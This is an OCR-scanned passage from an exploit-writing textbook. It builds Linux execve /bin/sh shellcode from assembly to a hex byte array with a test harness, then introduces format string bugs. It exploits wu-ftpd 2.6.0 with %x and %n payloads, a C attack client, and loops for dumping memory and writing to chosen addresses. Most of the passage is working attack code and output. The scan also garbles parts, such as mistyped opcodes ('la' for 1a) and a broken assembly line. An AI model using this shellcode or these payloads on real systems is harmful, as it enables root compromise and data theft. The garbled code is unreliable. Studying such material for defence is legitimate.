The nasty null problem has cropped up again. We will have nulls 
when setting up EAX and EDX. We will also have nulls terminating our 
/bin/sh string. We can use the same self-modifying tricks we used in our 
exit() shellcode to place nulls into registers by carefully picking 
instructions that do not create nulls in corresponding opcode. This is the 
easy part of writing injectable shellcode---now onto the hard part. 

As briefly mentioned before, we cannot use hardcoded addresses with 
shellcode. Hardcoded addresses reduce the likelihood of the shellcode 
working on different versions of Linux and in different vulnerable 
programs. You want your Linux shellcode to be as portable as possible, 
so you don’t have to rewrite it each time you want to use it. In order to 
get around this problem, we will use relative addressing. Relative 
addressing can be accomplished in many different ways; in this chapter 
we will use the most popular and classic method of relative addressing in 
shellcode. 

The trick to creating meaningful relative addressing in shellcode is to 
place the address of where shellcode starts in memory or an important 
element of the shellcode into a register. We can then craft all our 
instructions to reference the known distance from the address stored in the 
register. 

The classic method of performing this trick is to start the shellcode with 
a jump instruction, which will jump past the meat of the shellcode directly 
to a call instruction. Jumping directly to a call instruction sets up relative 
addressing. When the call instruction is executed, the address of the 
instruction immediately following the call instruction will be pushed onto 
the stack. The trick is to place whatever you want as the base relative 
address directly following the call instruction. We now automatically have 
our base address stored on the stack, without having to know what the 
address was ahead of time. 

We still want to execute the meat of our shellcode, so we will have the 
call instruction call the instruction immediately following our original jump. 
This will put the control of execution right back to the beginning of our 
shellcode. The final modification is to make the first instruction following 
the jump be a POP ESI, which will pop the value of our base address off the 
stack and put it into ESI. Now we can reference different bytes in our 
shellcode by using the distance, or offset, from ESI. Let's take a look at 
some pseudo code to illustrate how this will look in practice. 
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 jmp short GotoCall 

shellcode: 

 pop esi 

 … 

 <shellcode meat> 

 … 

GotoCall: 

 Call shellcode 

 Db ‘/bin/sh’ 

The DB, or define byte birective(it’s not technically an instruction), 
allows us to set aside space in memory for a string. The following steps 
show what happens with this code: 

1. The first instruction is to jump to GotoCall, which immediately 

executes the CALL instruction. 
2. The CALL instruction now stores the address of the first byte of 

our string (/bin/sh) on the stack. 
3. The CALL instruction calls shellcode. 
4. The first instruction in our shellcode is a POP ESI, which puts 

the value of the address of our string into ESI. 
5. The meat of the shellcode can now be executed using relative      

addressing. 

Now that the addressing problem is solved, let's fill out the meat of 
shellcode using pseudo code. Then we will replace it with real 
assembly instructions and get our shellcode. We will leave a number of 
placeholders (9 bytes) at the end of our string, which will look like 
this: 

‘/bin/shJAAAAKKKK' 

The placeholders will be copied over by the data we want to load into 
two of three syscall argument registers (ECX, EDX). We can easily 
determine the memory address locations of these values for replacing and 
coping into registers, because we will have the address of the first byte of 
the string stored in ESI. Additionally, we can terminate our string with a 
null efficiently by using this "copy over the placeholder" method. Follow 
these steps: 

1. Fill EAX with nulls by xoring EAX with itself. 

2. Terminate our /bin/sh string by copying AL over the last byte of 
the string. Remember that AL is null because we nulled out EAX in 
the the previous instruction. You must also calculate the offset 
from the beginning of the string to J placeholder. 
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3. Get the address of the beginning of the string, which is stored in 
ESI, and copy that value into EBX. 

4. Copy the value stored in EBX, now the address of the beginning of 
the string, over the AAAA placeholders. This is the argument 
pointer to the binary to be executed, which is required by execve. 
Again, you need to calculate the offset. 

5. Copy the nulls still stored in EAX over the KKKK placeholders, 
using the correct offset. 

6. EAX no longer needs to be filled with nulls, so copy the value of 
our execve syscall(0x0b) into AL. 

7. Load EBX with the address of our string. 

8. Load the address of the value stored in the AAAA placeholder, 
which is a pointer to our string, into ECX. 

9. Load up EDX with the address of the value in KKKK, a pointer to 
null. 

10. Execute int 0x80 

The final assembly code that will be translated into shellcode looks 
like this: 

Section .text 

global _start 

_start: 

jmp short  GotoCall 

shellcode: 

pop esi 
xor  eax, eax 
mov byte [esi + 7], al 
lea  ebx, [esi] 
mov long [esi + 8],ebx 
mov long [esi = 12], eax 
mov byte al, 0x0b 
mov  ebx, esi 
lea  ecx, [esi + 8] 
lea  edx, [esi + 12] 
int  0x80 

GotoCall: 
Call shellcode 
Db ‘/bin/shJAAAAKKKK’ 
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Compile and diassemble to get opcodes. 

[root@0day linux]# nasm –f elf execve2.asm 
[root@0day linux]# ld –o execve2 execve2.o 
[root@0day linux]# objdump –d execve2 

execve2:    file format elf32-i386 

Disassembly of section .text: 

08048080 <_start>: 
8048080: eb la   jmp  804809c <GotoCall> 
08048082 <shellcode>: 
8048082: 5e   pop %esi 
8048083: 31 c0   xor %eax, %eax 
8048085: 88 46 07  mov %al, 0x7(%esi) 
8048088: 8d 1e   lea (%esi), %ebx 
804808a: 89 5e 08  mov %eax, 0xc (%esi) 
804808d:   89 46 0c       mov %eax, 0xc (%esi) 
8048090: b0 0b   mov $0xb, %al 
8048092: 89 f3   mov %esi, %ebx 
8048094: 8d 4e 08  lea 0x8 (%esi) , %ecx 
8048097: 8d 56 0c  lea 0xc (%esi) , %edx 
804809a: cd 80   int $0x80 

0804809c <GotoCall>: 
804809c: e8 el ff ff ff  call 8048082 <shellcode> 
80480a1: 2f   das 
80480a2 : 62 69 6e  bound %ebp, 0x6e (%ecx) 
80480a5: 2f   das 
80480a6: 73 68   jae 8048110 <GotoCall+0x74> 
80480a8: 4a   dec %edx 
80480a9: 41   inc %ecx 
80480aa: 41   inc %ecx 
80480ab: 41   inc %ecx 
80480ac: 41   inc %ecx 
80480ad: 4b   dec %ebx 
80480ae: 4b   dec %ebx 
80480af: 4b   dec %ebx 
80480b0: 4b   dec %ebx 
[root@0day linux) # 

Notice we have no nulls and no hardcoded addresses. The final step is 
to create the shellcode and plug it into a C program. 

char shellcode[] =  
“\xeb\xla\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46” 
“\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1” 
“\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x41\x41\x41\x41” 
“\x4b\x4b\x4b\x4b”; 
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int main() 
{ 
 int *ret; 
 ret = (int *)&ret + 2; 
 (*ret) = (int)shellcode; 
} 

Let's test to make sure it works. 

[root@0day linux]# gcc execve2.c -o execve2  
[root@0day linux]# ./execve2  
sh-2.05b# 

Now you have working, injectable shellcode. If you need to pare down the 
shellcode, you can sometimes remove the placeholder opcodes at the end of 
shellcode, as follows. 
 
char shellcode[] = 

"\xeb\xla\x5e\x31\xc0\x88\x46\x07\x8d\xle\x89\x5e\x08\x89\x46" 
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1" 
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; 

Throughout the rest of this book, you will find more advanced strategies for 
shellcode and writing shellcode for other architectures. 

Conclusion 

You've learned how to create shellcode for the x86 processor on Linux. The 
concepts in this chapter can be applied to writing your own shellcode for other 
platform and operating systems, although the syntax will be different. (You will 
work with different registers, or possibly an OS that doesn't have syscalls, such 
as Windows.) 

The most important task when creating shellcode is to make it small and 
executable. When hacking, you need to have shellcode as small as possible so 
you can fit it into the most potential vulnerable buffers. Shellcode must be exe-
cutable, and we worked through the most common and easiest methods of 
writing executable shellcode. You will learn many different tricks and variations 
on these methods throughout the rest of this book. 
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CHAPTER 
4 

Introduction to Format 
String Bugs 

This chapter focuses on format string bugs in Linux, although they art not 
operating system—specific. In their most common form, format string bugs 
are a result of facilities for handling functions with variable arguments in 
the C programming language. Since it's really C that makes format string 
bugs possible, they affect every OS that has a C compiler, which is to say, 
almost every OS in existence. 

For a discussion of precisely why format string bugs exist at all, see the 
"Why Did This Happen?" section at the end of this chapter. 
 
 
Prerequisites 

In order to understand this chapter, you will need a basic knowledge of 
the C family of programming languages, as well as a basic knowledge of 
x86 assembler. A working knowledge of Linux would be useful, but is not 
essential. 

In the Chapter 4 file at the Shellcoder's Handbook Web site, 
www.wiley.corn/compbooks/koziol, you will find numerous resources and 
tutorials for learning C and assembly for x86 and Linux. 
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What Is a Format String? 

To understand what a format string is, you need to understand the problem 
that format strings solve. Most programs output textual data in some form, 
oftern including numerical data. Say ,for example, that a program wanted to 
output a string containing an amount of money. The actual amount might be 
held within the program in the form of a double-precision floating-point 
number, like this: 

double AmountInsterling; 

Let’s say the amount in pounds sterling is ￡30432.36. We would like to 
output the amount exactly as written—preceded by a pound sign(￡), with a 
decimal point and two places after it. In the absence of format strings, we 
would have to write a fairly substantial amount of code just to format a 
number in this way, and even then ,it would likely work only for the 
double-data type and the pounds sterling currency. Format strings provide a 
more generic solution to this problem by allowing a string to be output that 
includes the value of variables, formatted precisely as dictated by the 
programmer. To output the number as specified, we would simply call the 
printf function, which outputs the string to the process’s standard 
output(stdout). 

printf( “￡%8.2f\n”, AmountInSterling ); 

The first parameter to this function is the format string. This specifies a 
constant string with placeholders that specify where variables are to be 
substituted into the string. To output a double using a format string, you use 
the format specifier %f. You can control aspects of how the data is output 
using the flags, width, and precision components of the format specifier—in 
this case, we are suing the precision component to specify that we require 
two places after the decimal point. We do not make use of the width and 
precision components in this simple example. 

Just so you get the flavor of it, here is another example that outputs an 
ASCII reference, with the characters specified in decimal, hex, and their 
ASCII equivalents. 

#include <stdlib.h> 

#include <stdio.h> 

int main( int argc, char *argv[] ) 

{ 

int c; 

printf(“Deciman Hex Character\n”); 

printf(“======= === =========\n”); 
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for( c = 0x20; c < 256; c++ ) 
{ 
   switch( c ) 
   { 
  case 0x0a: 
  case 0x0b: 
  case 0x0c: 
  case 0x0d: 
  case 0x1b: 
   printf( “ %03d %02x \n”, c, c ); 

break; 
  default: 
   printf(“%03d %02x %c\n”, c, c, c ); 
   break; 

} 
} 
return 1; 

} 

The output looks like this: 

Decimal  Hex Character 
======= === ======== 
     032  20 
     033  21           ! 
     034  22           " 
     035  23           # 
     036  24           $ 
     037  25           % 
     038  26           ￡ 
     039  27            ‘ 
     040  28            ( 
     041  29               ` 
     042  2a            * 
     043  2b            + 
     044  2c               , 
     045  2d            - 
     046  2e            . 

Note that in this example we are displaying the character in three different 
ways—using three different format specifiers—and with different width 
specifiers to make sure everything lines up nicely. 

What Is a Format String Bug? 
 

A format string bug occurs when user-supplied data is included in the format 
specification string of one of the printf family of functions, including  
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printf 
fprintf 
sprintf 
snprintf 
vprintf 
vrintf 
vsprintf 
vsnprintf 

and any similar functions on your platform that accept a string that con 
contain C-style format specifies, such as the wprintf functions on the 
Windows platforms. The attacker supplies a number of format specifiers that 
have no corresponding arguments on the stack, and values from the stack 
are used in their place. This leads to information disclosure and potentially 
the execution of arbitrary code. 

As we have already discussed, printf functions are meant to be passed 
as a format string that determines how the ouput is laid out, and what set of 
variables are substituted into the format string. The following code will, for 
example, print out the square root of 2 to 4 decimal places: 

printf(“The square root of 2 is: %2.4f\n”, sqrt( 2.0 ) ); 

However, strange behaviors occur if we provide a format string but omit 
the variables that are to be substituted. Here is a generic program that calls 
printf with the argument it is passed on the command line. 

#include <stdio.h> 
#include <stdlib.h> 

int main( int argc, char *argv[]) 
{ 
 if ( argc != 2 ) 
 { 
  printf(“Error – supply a format string please\n”); 
  return 1; 
 } 
 printf( argv[1] ); 
 printf( “\n” ); 
  

return 0; 
} 

If we compile this like so: 

cc fmt.c -o fmt 
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and call it as follows: 

./fmt “%x %x %x %x” 

We are effectively calling printf like this: 

printf( “%x %x %x %x” ); 

The important thing here is that although we have supplied the format 
string, we haven’t supplied the four numeric variables to be substituted into 
the string. Interestingly, printf doesn’t fail, instead producing ouput that 
looks like this: 

4015c98c 4001526c bffff944 bffff8e8 

So printf() is unexpectedly obtaining four arguments from somewhere. 
These arguments are in face coming from the stack. 

This may initially appear not to be a problem; however, an attacker might 
possibly be able to see the contents of the stack. What does that mean? Well, 
in itself it might reveal sensitive information such as usernames and 
passwords, but the problem runs deeper than that. If we try supplying a 
large number of %x specifiers, like this: 

./fmt 
“AAAAAAAAAAAAAAAAAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x” 

We obtain some interesting results. 

./fmt 
“AAAAAAAAAAAAAAAAAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x” 
 

AAAAAAAAAAAAAAAAAAA4001526cbffff7d880483e18049530804962cbffff8084003e2802bffff834b

ffff84080482ae80484900bffff8084003e26a0bffff8404014abc040014d28280483000804832180484

002bffff834804829880484904000cc20bffff82bc400152cc282bffff972bffff9780bffffa8ebffffab1bffffac

3bffffae3bffffaf6bffffb08bffffb2abffffb3cbffffb4ebffffb5bbffffb64bffffb6ebffffb85bffffd63bffffd71bffffd92

bffffdadbffffdc2bffffdcfbffffddabffffdebbffffdf8bffffe00bffffe0fbffffe24bffffe34bffffe42bffffe50bffffe6lbffffe

6fbffffe7abffffe85bffffed6bffffee5bffffef7bfffff0abfffff1bbfffff2bbfffffd6bfffffde0103febfbff610001164380

48034420567400000008098048300b0c0d0e0fbffff96d000000383669002f2e0036746d664141414

14141414141414141414141412541412578257825782578257825782578257825782578257825

782578257825782578257825782578257825782578 
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As you can see, we are pulling a large amount of data from the stack, but 

then towards the end of the string we see the hex-encoded representation of 
the beginning of our string: 

41414141414141 

This result is somewhat unexpected, but makes sense if you consider that 
the format string itself is held on the stack, so 4-byte segments from the 

string are being passed as the "numbers" to be substituted into the string. 
Therefore, we can get data from the stack in hex format. 

What else can we do? Well, to take a look at a few of the different type 
conversion specifiers that we can use, look at: 

man sprintf 

We see a large number of conversion specifiers—d, i, o, u and x for 
integers, e, f, g, a for floating point, and c for characters. A few other 
interesting specifiers are present though, and these expect something other 
than a simple numeric argument. - 

s—The argument is treated as a pointer to a string. The string is substi-
tuted into the output. 

n—The argument is treated as a pointer to an integer (or integer variant 
such as short). The number of characters output so far is stored in the 
address pointed to by the argument. 

So, if we specify %n in the format string, the number of characters output 
so far is written to the location specified by the argument, thus: 

./fmt "AAAAAAAAAAAAAAAAAAA%n%n%n%n%n%n%n%n%n%n%n" 
 
NOTE Don’t forget to add ulimit –c unlimted to ensure you get a core dump. 
 

This example is more interesting, and illustrates the danger inherent 
in allowing a user to specify format strings. Consulting the above 
description of printf format specifiers, you should see that the %n type 
specifier expects an address as its argument, and will write the number of 
characters output so far into that address. This means we can overwrite 
values stored at specific address, allowing us to take control of execution. 
Don’t worry if you don’t completely understand the implications of this 
right now, we will spend the rest of the chapter explaining it in detail. 

Recallng the ASCII example above, we can use the precision specifier 
to control the number of characters output; if we want to output 50 
characters, we can specify %050x, which will output a hexadecimal 
integer padded with leading zeroes until it contains exactly 50digits. 
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we can specify %050x, which will output a hexadecimal integer padded with 
leading zeroes until it contains exactly 50 digits. 

Also, if you recall that the arguments to the printf function can be drawn 
from within the string itself—our 41414141 example above—you will see that 
we can use the %n specifier to write a value we control to the address of our 
choice. 

Using these facts, we can run arbitrary code because the following 
conditions exist:: 

 We can control the values of the arguments, and we can write the 
number of characters output to anywhere in memory. 

 The width specifier allows us to pad output to an almost arbitrary 
length—certainly to 255 characters. We can overwrite a single byte with 
the value of our choice. 

 We can do this four times, so we can overwrite almost any 4 bytes with 
the value of our choice. Overwriting 4 bytes allows the attacker to 
overwrite addresses. We might have problems writing to addresses with 
00 bytes because the 00 byte terminates a string in C. We can probably 
get around these problems by writing 2 bytes starting at the address 
before it, however. 

 Because we can generally guess the address of a function pointer 
(saved return address, binary import table, C++ vtable) we can cause a 
string that we supply to be executed as code. 

It is worth clearing up several common misconceptions relating to format 
string attacks: 

 They don't just affect UNIX. 
 They aren’t necessarily stack based. 
 Stack protection mechanisms will not generally defend against them. 
 They can generally be detected with static code analysis tools. 

 
The security advisory of the Van Dyke VShell SSH Gateway for Windows 

format string vulnerability provides a good illustration of these points and can 
be found at www.atstake.com/research/advisories/2001/a021601-1.txt. 

This is quite a severe vulnerability. An arbitrary code execution 
vulnerability in a component that authenticates users effectively removes all 
access control from that component. In this case, a skilled attacker could 
capture the plaintext of all user sessions with relative ease, or take control of 
the system with ease. 

To summarize, a format string bug occurs when user-supplied data is 
included in the format specification siring of one of the printf family of 
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functions. The attacker supplies a number of format specifiers that have no 
corresponding arguments on the stack, and values from the stack are used in 
their place. This leads to information disclosure and potentially the execution 
of arbitrary code. 

Format String Exploits 
 
When a printf family function is called, the parameters to the function are 
passed on the stack. As we mentioned earlier, if too few parameters are passed 
to the function, the printf function will take the next values from the stack and 
use those instead. 

Normally, the format string is stored on the stack, so we can use the format 
string itself to supply arguments that the printf function will use when eval-
uating format specifiers. 

We have already shown that in some cases format string bugs can be used 
to display the contents of the stack. Format string bugs can, more usefully, be 
used to run arbitrary code, using variations on the %n specifier (we will return 
to this later). Another, more interesting way of exploiting a format string bug is 
to use the %n specifier to modify values in memory in order to change the 
behavior of the program in some fundamental way. For example, a program 
might store a password for some administrative feature in memory. That 
password can be null-terminated using the %n specifier, which would allow 
access to that administrative feature with a blank password. User ID (UID) and 
group ID (GID) values are also good targets—if a program is granting or 
revoking access to some resource, or changing its privilege level in some 
manner that is dependent on values in memory, those values can be 
arbitrarily modified to cripple the security of the program. In terms of subtlety, 
format strings can't be beaten. 

So that we have a concrete example to play with, we'll take a look at the 
Washington University FTP daemon, which was vulnerable (in version 2.6.0) to 
a couple of format string bugs. You can find the original CERT advisory on 
these bugs at www.cert.org/advisories/CA-2000-13.html. 

This is an interesting demonstration bug since it has many desirable 
features from the point of view of a working example: 

 The source code is available, and the vulnerable version can be easily 
downloaded and configured. 

 It is a remote-root bug (that can be triggered using the “anonymous” 
account) so it represented a very real threat. 

 A single process handles the control connection so we can perform 
multiple writes in the same address space. 

 We get the result of our format string echoed back to us so we can 
easily demonstrate information retrieval. 
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You will need a Linux box with gcc, gdb, and all the tools to download 
wu-ftpd 2.6.0 from ftp://ftp.wu-ftpd.org/pub/wu-ftpd-attic/wu-ftpd-2.6.0.tar.gz. You 
can also grab the vulnerable version from the Shellcoder’s Handbook Web 
site (www.wiley.com/compbookes/koziol) if the URL changes. 

You might also want to get wu-ftpd-2.6.0.tar.gz.asc and verify that the file 
hasn’t been modified, although it’s up to you. 

Follow the directions and install and configure wu-ftpd. You should of 
course bear in mind that by installing this, you are laying your machine open 
to anyone with a wu-ftpd exploit (which is to say, everyone) so take 
appropriate precautions, such as unplugging yourself from the network or 
suing a decent firewall configuration. It would be embarrassing to be owned 
by someone using the same bug that you’re suing to learn about format 
string bugs. So please be careful. 

Crashing Services 
Occasionally, when attacking a network, all you want to do is crash a specific 
service. For example, if you are performing an attack involving name resolu-
tion, you might want to crash the DNS server. If a service is vulnerable to a 
format string problem, it is possible to crash it very easily. 

So let's take our example, the wu-ftpd problem. The Washington University 
FTP daemon version 2.6.0 (and earlier) was vulnerable to a typical format 
string bug in the site exec command. Here is a sample session: 

[root@attacker ]#  t e l n e t  v i c t im  21 
Try ing  1 0 . 1 . 1 . 1 . . .  
Connected to  v i c t im  ( 1 0 . 1 . 1 . 1 ) .  
Escape  character  i s   '^ ] ' .  
220 v ict im FTP se rve r  (Vers ion wu-2.6.0 (2 )  Wed Apr  30 16:08:29 

BST 2003)  ready.  

user  anonymous 
331 Guest  l og in  ok,  send your  comple te  e -mai l  address as  password.  
pass foo@foo.com 
230 User  anonymous logged in .  
s i t e  exec %x %x %x %x %x %x %x %x 
200-8 8 b f f f c a c c  0 14 0 14 0 
200 (end of  '%x %x %x %x %x %x %x %x' )  
s i t e  index %x %x %x %x %x %x %x %x 
200- index 9 9 b f f f c a c c  0 14 0 14 0 
200 (end of  ' index %x %x %x %x %x %x %x %x' )   
qui t  
221-You have  t r ans f e r r ed  0 by te s  i n  0 f i l e s .  
221-Tota l  t r a f f i c  f o r  t h i s  s e s s i on  was 448 by tes  i n  0 t r a n s f e r s .  
221-Thank you f o r  us ing the  FTP s e r v i c e  on vu l can . ngsso f t wa re . c om  
221 Goodbye .  
Connect ion c losed by f o r e i g n  h o s t .  
[ root@at tacker ]#  
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As you can see, by specifying %x in the site exec and (more interestingly) 

site index commands, we have been able to extract values from the stack in 
the manner described above. 

Were we to have supplied this command: 
Site index %n%n%n%n 

wu-ftpd would have attempted to write the integer 0 to the addresses 0x8, 
0x8,0xbfffcacc, and 0x0, causing a segmentation fault since 0x8 and 0x0 
aren’t normally writeable addresses. Let’s try it: 

Site index %n%n%n%n 
Connection closed by foreign host. 
Incidentally, not many people know that the site index command is 

vulnerable, so you can bet that most IDS signatures won’t be looking for it. 
Certainly, at the time of writing, the default Snort rule base catches only site 
exec. 

Information Leakage 
Continuing with our wu-ftpd 2.6.0 example, let’s look at how we 

can extract information. 
We’ve already seen how to get information from the stack—let’s use 

the technique ‘in anger’ with wu-ftpd and see what we get. 
First, let’s cook up a quick and dirty test harness that lets us easily 

submit a format string via a site index command. Call it dowu.c. 

#include <stdio.h>   #include <string.h> 
#include <stdlib.h> 
#include <sys/types.h> 
#include <sys/socket.h> 
#include <sys/time.h> 
#include <netdb.h> 
#include <unistd.h> 
#include <netinet/in.h> 
#include <arpa/inet.h> 
#include <signal.h> 
#include <errno.h> 

int connect_to_server (char *host){ 
struct hostent *hp; 
struct sockaddr_in cl; 
int sock; 
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if(host==NULL||*host==(char)0){  

fprintf(stderr,"Invalid hostname\n"); 
 

exit(1); 

} 

if((cl.sin_addr.s_addr=inet_addr(host))==-1) 
{ 

if((hp=gethostbyname(host))==NULL) 
{ 

fprintf(stderr," Cannot resolve %s\n", host); 
exit(1); 

} 

memcpy((char*)&cl.sin_addr,(char*)hp->h_addr,sizeof(cl. 

sin_addr)); 

}  

if((sock=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) 
{ 

fprintf(stderr, "Error creating socket: %s\n", strerror(errno)); 

exit(1); 

} 

cl.sin_family=PF_INET; 
cl.sin_port=htons(21); 

if (connect (sock, (struct sockaddr*) &cl, sizeof (cl)) ==-1) 

{ 
fprintf(stderr, "Cannot connect to %s: %s\n", host, 

strerror(errno)); 

} 

return sock; 
} 

int receive_from_server( int s, int print )  
{ 

int retval; 
char buff[ 1024 * 64] ;  

memset( buff, 0, 1024 * 64 ); 
retval = recv( s, buff, (1024 * 63), 0 );  
if( retval > 0 ) 
{ 

if( print ) 
printf( “%s”, buff ); 

} 
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else 
{ 
  if ( print ) 
   printf ( “Nothing to receive\n” ); 
  return 0; 
} 
Return 1; 

} 

int ftp_send( int s, char *psz ) 
{ 
 send( s, psz, strlen( psz ), 0 ); 

return 1; 
} 

int syntax() 
{ 
 printf(“Use\ndo_wu <host> <format string>\n”); 

return 1l 
} 

int main( int argc, char *argv[] ) 
{ 
 int s; 
 char buff [ 1024*64 ]; 
 char tmp [ 4096 ]; 

   if ( argc != 4) 
 return syntax(); 

 s = connect_to_server ( argv[1] ); 

if (s <= 0 ) 
  _exit(1); 

receive_from_server( s,0 ); 

ftp_send( s, “user anonymous\n” ); 
receive_from_server( s, 0 ); 
ftp_send( s, “pass foo@example.com\n” ) 

receive_from_server( s, 0 ); 

if ( atoi( argv[3] ) == 1 ) 
{ 
  printf(“Press a key to send the string…\n”); 
  getc( stdin ); 
} 
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strcat( buff, “site index “ ); 
sprintf( tmp, “%.4000s\n”, argv[2] ); 
stract( buff, tmp ); 
 
ftp_send( s, buff ); 
 
receive_from_server( s, 1 ); 
 
shutdown( s, SHUT_RDWR ); 

 
return 1; 

} 
 

Compile this code (after substituting in the credentials of your choice ) 
and run it. 

Let’s start with the basic stack pop. 
./dowu localhost “%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x” 0 

You should get something like this: 
00- index 12 12 bfffca9c 0 14 0 14 0 8088bc0 0 0 0 0 0 0 0 0 

Do we really need all those %xs? Well, not really. On most *nix’s, we can 
use a feature known as direct parameter access. Note that above, the third 
value output from the stack was bfffca9c. 

Try this: 
./dowu localhost “%3\$x” 0 

You should see: 
200-index bfffca9c 

We have directly accessed the third parameter and output it. This leads to 
the interesting possibility of outputting data from esp onwards, by specifying 
it’s offset. 

Let’s batch this up and see what’s on the stack. 
for(( i =1; i < 1000; i++)); do echo –n “$i “ && ./dowu localhost 
“%$i\$x” 0; done 

That gives us the first 1000 dwords of data on the stack, some of which 
might be interesting. 

We can also use the %s specifier, just in case some of those valus are 
pointers to interesting strings. 

for(( i =1; i < 1000; i++)); do echo –n “$i “ && ./dowu localhost 
“%$i\$s” 0; done 
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Since we can use the %s specifier to retrieve strings, we can try to retrieve 
strings from an arbitrary location in memory. To do this, we need to work out 
where on the stack the string that we’re submitting begins. So, we do 
something like this: 

for(( i= 1; i < 1000; i++)); do echo –n “$i “ && ./dowu localhost “AAA 
AAAAAAAAAAAAA%$i\$x” 0; done | grep 4141 

to get the location in the parameter list of the 41414141 output ( the 
beginning of the format string ). On my box that’s 272, but yours may vary. 

Proceeding with the example, let’s modify the beginning of our string and 
look at what we have in parameter 272. 

./dowu localhost “BBBA%272\$x” 0 

We get: 

200-index BBBA41424242 

which shows that the 4bytes at the beginning of our string are parameter 
272. so let’s use that to read an arbitrary address in memory. 

Let's start with a simple case that we know exists: 

for(( i = 1; i < 1000; i++)); do echo –n “$i " && ./dowu localhost  
 "%$i\$s" 0; done 

At parameter 187, I get this: 

200-index BBBA%s FTP server (%s)  ready. 

So let's get the address of that string, using the %x specifier. 

./dowu localhost "BBBA%187\$x"  0  
200-index BBBA8064d55 

We can now try to retrieve the string at Ox08064d55 like this: 

./dowu localhost $'\x55\x4d\x06\x08$272$s'  0  
200-index U%s FTP server (%s) ready. 

Note that we had to reverse the bytes in the “address” at the beginning 
of our format string because the I386 series of processors is little-endian. 

We can now retrieve any data we like from memory, even a dump of 
the entire address space, just by specifying the address we choose at the 
beginning of the string, and using direct parameter access to get the data. 

If the platform you’re attacking doesn’t support direct parameter 
access ( for example, Windows) you can normally reach the parameter 
that stores the beginning of your string just by putting enough specifies 
into your format string. 
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You might have a problem with this because the target process may 
impose a limit on the size of your string. There are a couple of possible 
workarounds for this. Since you're trying to reach the chosen parameter by 
popping data off the stack, you can make use of specifiers that take larger 
arguments, such as the %f specifier (which takes a double, an 8-byte 
floating-point number, as its parameter). This may not be terribly reliable, 
however; sometimes the floating-point routines are optimized out of the 
target process resulting in an error when you use the %f specifier. Also, you 
occasionally get division-by-zero errors, so you might want to use %.f, which 
will print only the integer part of the number, avoiding the division by zero. 

Another possibility is the * qualifier, which specifies that the length output 
for a given parameter will be specified by the parameter that immediately 
precedes it. For example: 

printf(“ %*d” , 10, 123); 

will print out the number 123, padded with leading spaces to a length of 10 
characters. Some platforms allow this syntax: 
 

%*********10d 

which always prints out ten characters. This means that we can approach a 
4-bytes-popped-to-1-byte-of-format string ratio. 

Controlling Execution for Exploitation 
We can therefore retrieve all the data we like from the target process, but now 
we want to run code. As a starting point, let's try writing a dword (4 bytes) of 
our choice into the address of our choice, in wu-ftpd. The objective here is to 
write to a function pointer, saved return address, or something similar, and 
get the path of execution to jump to our code. 

First, let's write some value to the location of our choice. Remember that 
parameter 272 is the beginning of our string in wu-ftpd? Let's see what 
happens if we try and write to a location in memory. 

./down localhost $'\x41\x41\x41\x41%272$n' 1 

If you use gdb to trace the execution of wu-ftpd, you'll see that we just tried 
to write 0x0000000a to the address 0x41414141. 

Note that depending on your platform and version of gdb, your gdb might 
not support the following child processes, so I put a hook into dowu.c to 
accommodate this. If you enter a 1 for the third command line argument, 
dowu.c will pause until you press a key before sending the format string to 

team 509's presents



70 Chapter 4 
 

the server, giving you time to locate the appropriate child process and attach 
gdb to it. 

Let’s run: 

./dowu localhost $’\x41\x41\x41\x41%272$n’ 1 

You should see the request Press a key to sent the string. Let’s now find 
the child process. 

ps –aux | grep ftp 

You should see something like this: 

root  32710  0.0  0.2  2016  700  ? S   May07  0:00  ftpd: 
accepting c 
ftp  11821  0.0  0.4  2120 1052  ? S   16:37   0:00  ftpd: 
localhost.l 

The instance running as ftp is the child. So we fire up gdb:gdb and then 
write 

attach 11821 

to attach to the child proceee. You should see something like this: 

Attaching to process 11821 
0x4015a344 in ??  90 

Type continue to tell gdb to continue. 

If you switch to the dowu terminal and press Enter, then switch back to 
gdb terminal, you should see something like this: 

Program received signal SIGSEGV, Segmentation fault. 
0x400d109c in ??  () 

However, we need to know more. Let’s see what instruction we executing: 

x/5i $eip 

0x400d109c: mov %edi, (%eax) 
0x400d109e: jmp 0x400df84d 
0x400d10a3: mov 0xfffff9b8(%ebp), %ecx 
0x400d10a9: test %ecx, %ecx 
0x400d10ab: je 0x400d10d0 
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If we then get the values of the registers: 
info reg 
eax  0x41414141  1094795585 
ecx  0xbfff9c70  -1073767312 
edx  0x0        0   
ebx  0x401b298c  1075521932 
esp  0xbfff8b70  0xbfff8b70 
ebp  0xbfffa908  0xbfffa908 
esi  0xbfff8b70  -1073771664 
edi  0xa      10 
 

and so on, we see that the mov %edi, (%eax) instruction is trying to mov the 
value 0xa into the address 0x41414141. This is pretty much what you’d 
expect. 

Now let's find something meaningful to overwrite. There are many targets 
to choose from, including: 

 The saved return address (a straight stack overflow; use information 
disclosure techniques to determine the location of the return address) 

 The Global Offset Table (GOT) (dynamic relocations for functions; great 
if someone is using the same binary as you are; e.g., rpm) 

